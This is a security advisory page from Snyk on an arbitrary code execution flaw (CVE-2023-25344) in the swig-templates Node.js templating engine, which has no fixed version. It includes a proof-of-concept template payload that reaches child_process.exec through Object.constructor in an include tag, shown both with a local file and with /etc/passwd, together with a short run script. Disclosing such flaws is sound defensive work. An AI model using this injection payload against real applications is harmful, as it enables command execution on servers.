Arbitrary Code Execution Affecting swig-templates package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.34% (71st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SWIGTEMPLATES-3266806
  • published7 Mar 2023
  • disclosed2 Feb 2023
  • credity1nglamore

Introduced: 2 Feb 2023

CVE-2023-25344  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for swig-templates.

Overview

swig-templates is an A simple, powerful, and extendable templating engine for node.js and browsers, similar to Django, Jinja2, and Twig.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the renderFile method.

Note: The following conditions are required to exploit the vulnerability:

  1. User input is used in the context of the package.

  2. User input is not sanitized.

  3. The value is dynamic.

PoC

// tpl.html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd {% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

// run.js

var swig = require('swig-templates');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

References

CVSS Scores

version 3.1